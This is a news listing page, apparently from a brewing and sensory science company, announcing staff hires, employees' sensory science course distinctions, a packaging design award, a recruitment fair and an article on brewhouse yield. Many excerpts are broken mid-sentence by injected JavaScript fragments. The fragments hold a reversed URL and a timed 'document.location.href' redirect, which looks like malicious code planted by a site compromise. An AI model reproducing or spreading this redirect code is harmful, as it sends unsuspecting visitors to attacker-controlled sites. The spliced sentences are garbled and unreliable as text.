Amaey Mundkur joins Cara Technology

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We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that Amaey Mundkur has joined our business development team. Amaey started home brewing in Australia in 2003. After graduating with a BSc in genetics and evolutionary biology from The Pennsylvania State… Read more

James Worthington achieves distinction in Sensory Evaluation and Sensory Techniques (PG Cert Sensory Science)






James Worthington has achieved distinction in his Sensory Evaluation and Sensory Techniques module in his PG Cert in Sensory Science. The course is based out of the University of Nottingham, however this particular module was run by Campden BRI. We… Read more

Amy Voong achieves distinction in Sensory Evaluation and Sensory Techniques (PG Cert Sensory Science)






We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that Amy from our flavours team has achieved distinction on her Sensory Evaluation and Sensory Techniques module in her PG Cert on Sensory Science from the University of Nottingham. This… Read more

Emily Chang joins Cara Technology

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We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that Emily Chang has joined the company full time after working as a graduate trainee for 9 months at Cara Technology. She has joined the company in the capacity… Read more

Brewhouse extract loss






Brewhouse extract loss, or for those among us whose glass is half full rather than half empty, Overall Brewhouse Yield, is an important parameter tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to monitobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor for several… Read more

Amy Voong achieves distinction in Food Flavour Chemistry (PG Cert Sensory Science)






We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that Amy from our flavours team has achieve distinction on her food flavour chemistry module in her PG Cert on Sensory Science from the University of Nottingham. We are… Read more

Becki Clark joins Cara Technology as sensory support manager

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Dr Becki Clark has joined the company as our sensory support manager. She has years of experience in area of sensory science. During her PhD at Nottingham she focused on sensory, investigating how the main sensory components in beer (sweetness, bitterness, alcohol and… Read more

A-Design award for AROXA™ Flavour Standards packaging

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We are pleased tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to announce that our design agency, Kinneir Dufort, has won the A-Design gold award for our AROXA™ Certified Flavour Standards packaging. The Golden A’ Design Award aims tobor-latigid//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay =… Read more

Cara Technology to recruit at Imperial College, London

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Cara Technology will attend an Intern Fair at Imperial College, London on 17 May 2012. The company employs a team of highly talented staff within their production facilities, laboratores and offices in Leatherhead and Copenhagen. Every year they provide an opportunity… Read more

James Worthington achieves distinction in Food Flavour Chemistry (PG Cert Sensory Science)






We are pleased to announce that James Worthington from our flavours team has achieved distinction in his Food Flavour Chemistry module of his ongoing PG Cert in Sensory Science at the University of Nottingham. This ongoing knowledge and training is… Read more